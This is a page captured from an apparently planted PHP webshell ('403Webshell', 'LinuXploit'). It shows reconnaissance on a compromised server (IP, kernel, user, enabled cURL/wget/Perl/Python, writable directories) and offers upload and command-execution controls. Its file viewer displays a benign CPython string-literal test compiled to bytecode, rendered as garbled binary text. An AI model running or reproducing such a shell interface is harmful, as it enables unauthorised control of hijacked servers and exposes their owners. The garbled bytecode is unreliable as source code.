403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_string_literals.cpython-36.pyc
3

�w2_O'�@sfdZddlZddlZddlZddlZddlZddlZdZdd�ZGdd�dej	�Z
edkrbej�dS)	a�Test correct treatment of various string literals by the parser.

There are four types of string literals:

    'abc'             -- normal str
    r'abc'            -- raw str
    b'xyz'            -- normal bytes
    br'xyz' | rb'xyz' -- raw bytes

The difference between normal and raw strings is of course that in a
raw string, \ escapes (while still used to determine the end of the
literal) are not interpreted, so that r'\x00' contains four
characters: a backslash, an x, and two zeros; while '\x00' contains a
single character (code point zero).

The tricky thing is what should happen when non-ASCII bytes are used
inside literals.  For bytes literals, this is considered illegal.  But
for str literals, those bytes are supposed to be decoded using the
encoding declared for the file (UTF-8 by default).

We have to test this with various file encodings.  We also test it with
exec()/eval(), which uses a different code path.

This file is really about correct treatment of encodings and
backslashes.  It doesn't concern itself with issues like single
vs. double quotes or singly- vs. triply-quoted strings: that's dealt
with elsewhere (I assume).
�Na�# coding: %s
a = 'x'
assert ord(a) == 120
b = '\x01'
assert ord(b) == 1
c = r'\x01'
assert list(map(ord, c)) == [92, 120, 48, 49]
d = '\x81'
assert ord(d) == 0x81
e = r'\x81'
assert list(map(ord, e)) == [92, 120, 56, 49]
f = '\u1881'
assert ord(f) == 0x1881
g = r'\u1881'
assert list(map(ord, g)) == [92, 117, 49, 56, 56, 49]
h = '\U0001d120'
assert ord(h) == 0x1d120
i = r'\U0001d120'
assert list(map(ord, i)) == [92, 85, 48, 48, 48, 49, 100, 49, 50, 48]
cCs
t|g�S)N)�bytes)�i�r�>/opt/alt/python36/lib64/python3.6/test/test_string_literals.py�byte<src@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zd)dd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(S)*�TestLiteralscCs.tjdd�|_tj�|_tjjd|j�dS)Nr)�sys�path�	save_path�tempfileZmkdtemp�tmpdir�insert)�selfrrr�setUpBs
zTestLiterals.setUpcCs$|jtjdd�<tj|jdd�dS)NT)�
ignore_errors)r
rr	�shutilZrmtreer)rrrr�tearDownGszTestLiterals.tearDowncCs>x8tD]0}|dksd|ko$dknstt|���qWdS)N�
� �~)�TEMPLATE�AssertionError�repr)r�crrr�
test_templateKs
zTestLiterals.test_templatecCs�|jtd�d�|jtd�td��|jtd�td��|jtd�td��|jtd�td��|jtd	�td
��|jtd�td
��|jtd�td
��|jtd�td
��dS)Nz 'x' �xz '\x01' �z '' z '\x81' �u '' z
 '\u1881' i�u 'ᢁ' z '\U0001d120' i �u '𝄠' )�assertEqual�eval�chr)rrrr�test_eval_str_normalQsz!TestLiterals.test_eval_str_normalcCs�|jttd�|jttd�|jttd�|jttd�|jttd�|jttd�|jttd�|jttd�|jttd	�|jttd
�|jttd�|jttd�|jttd
�|jttd�dS)Nz '\x' z '\x0' z '\u' z '\u0' z '\u00' z	 '\u000' z '\U' z '\U0' z '\U00' z	 '\U000' z
 '\U0000' z '\U00000' z '\U000000' z
 '\U0000000' )�assertRaises�SyntaxErrorr)rrrr�test_eval_str_incomplete\sz%TestLiterals.test_eval_str_incompletecCs(xNtdd�D]@}|dkrq|jt��"|jtd|�dt|��WdQRXqWtjdd��}tjdtd	�td
�WdQRX|jt	|�d�|j|dj
d�|j|djd
�tjdd��8}tjdtd	�|jt
��}td
�WdQRX|j}WdQRX|j|g�|j|j
d�|j|jd
�dS)Nr�s

"'01234567NU\abfnrtuvxz'\%c'�\T)�record�always)�categoryz	'''
\z'''rz<string>��error)�range�assertWarns�DeprecationWarningrrr �warnings�catch_warnings�simplefilter�len�filename�linenor"r#�	exception)r�b�w�cm�excrrr�test_eval_str_invalid_escapels&*z)TestLiterals.test_eval_str_invalid_escapecCs�|jtd�d�|jtd�d�|jtd�td��|jtd�d�|jtd
�td��|jtd�d�|jtd�td��|jtd�d�|jtd�td��dS)Nz r'x' rz	 r'\x01' r&Zx01z r'' rz	 r'\x81' Zx81u r'' rz r'\u1881' Zu1881u r'ᢁ' i�z r'\U0001d120' Z	U0001d120u	 r'𝄠' i �z\x01z\x81z\u1881z
\U0001d120)rrr )rrrr�test_eval_str_raw�szTestLiterals.test_eval_str_rawcCs�|jtd�d�|jtd�td��|jtd�td��|jtd�td��|jttd�|jtd	�d�|jttd�|jtd
�d�|jttd�dS)Nz b'x' �xz	 b'\x01' rz b'' z	 b'\x81' ru b'' z br'\u1881' �\su1881u b'ᢁ' z br'\U0001d120' s	U0001d120u	 b'𝄠' s\u1881s
\U0001d120)rrrr"r#)rrrr�test_eval_bytes_normal�sz#TestLiterals.test_eval_bytes_normalcCs |jttd�|jttd�dS)Nz b'\x' z b'\x0' )r"r#r)rrrr�test_eval_bytes_incomplete�sz'TestLiterals.test_eval_bytes_incompletecCs*xPtdd�D]B}|dkrq|jt��$|jtd|�dt|g��WdQRXqWtjdd��}tjdtd	�td
�WdQRX|jt	|�d�|j|dj
d�|j|djd
�tjdd��8}tjdtd	�|jt
��}td
�WdQRX|j}WdQRX|j|g�|j|j
d�|j|jd
�dS)Nrr%s

"'01234567\abfnrtvxzb'\%c'r=T)r'r()r)z
b'''
\z'''rz<string>r*r+)r,r-r.rrrr/r0r1r2r3r4r"r#r5)rr6r7r8r9rrr�test_eval_bytes_invalid_escape�s&,z+TestLiterals.test_eval_bytes_invalid_escapecCst|jtd�d�|jtd�d�|jtd�d �|jtd�d!�|jtd�td	��|jtd
�td	��|jtd�d"�|jtd
�d#�|jttd�|jttd�|jtd�d$�|jtd�d%�|jttd�|jttd�|jtd�d&�|jtd�d'�|jttd�|jttd�|jttd�|jttd�|jttd�|jttd�|jttd�|jttd�dS)(Nz br'x' r<z rb'x' z
 br'\x01' r=sx01z
 rb'\x01' z br'' rz rb'' z
 br'\x81' sx81z
 rb'\x81' u br'' u rb'' z br'\u1881' su1881z rb'\u1881' u	 br'ᢁ' u	 rb'ᢁ' z br'\U0001d120' s	U0001d120z rb'\U0001d120' u
 br'𝄠' u
 rb'𝄠' z bb'' z rr'' z brr'' z bbr'' z rrb'' z rbb'' s\x01s\x01s\x81s\x81s\u1881s\u1881s
\U0001d120s
\U0001d120)rrrr"r#)rrrr�test_eval_bytes_raw�s0z TestLiterals.test_eval_bytes_rawcCsl|jtd�d�|jtd�d�|jtd�d�|jttd�|jttd�|jttd�|jttd	�dS)
Nz u'x' ru U'ä' �äu u'ä' z ur'' z ru'' z bu'' z ub'' )rrr"r#)rrrr�test_eval_str_u�szTestLiterals.test_eval_str_u�c
Csnd|jdd�}tjj|j|d�}t|d|d�}z|jt|�|j|�Wd|j�Xt	|�t
j|=dS)NZxx_�-�_z.pyr7)�encoding)�replace�osr	�joinr�open�writer�close�
__import__r�modules)rrG�extra�modname�fn�frrr�check_encoding�s
zTestLiterals.check_encodingcCsd}|jd|�dS)Nu#z = 'ሴ'; assert ord(z) == 0x1234
zutf-8)rT)rrPrrr�test_file_utf_8�szTestLiterals.test_file_utf_8cCsd}|jt|jd|�dS)Nub'€'
zutf-8)r"r#rT)rrPrrr�test_file_utf_8_error�sz"TestLiterals.test_file_utf_8_errorcCs|jd�dS)Nzutf-8)rT)rrrr�test_file_utf8�szTestLiterals.test_file_utf8cCs|jd�dS)Nz
iso-8859-1)rT)rrrr�test_file_iso_8859_1�sz!TestLiterals.test_file_iso_8859_1cCs|jd�dS)Nzlatin-1)rT)rrrr�test_file_latin_1�szTestLiterals.test_file_latin_1cCs|jd�dS)N�latin9)rT)rrrr�test_file_latin9�szTestLiterals.test_file_latin9N)rD)�__name__�
__module__�__qualname__rrrr!r$r:r;r>r?r@rArCrTrUrVrWrXrYr[rrrrr@s&	
r�__main__)
�__doc__rIrrrr/ZunittestrrZTestCaserr\�mainrrrr�<module>s9

Youez - 2016 - github.com/yon3zu
LinuXploit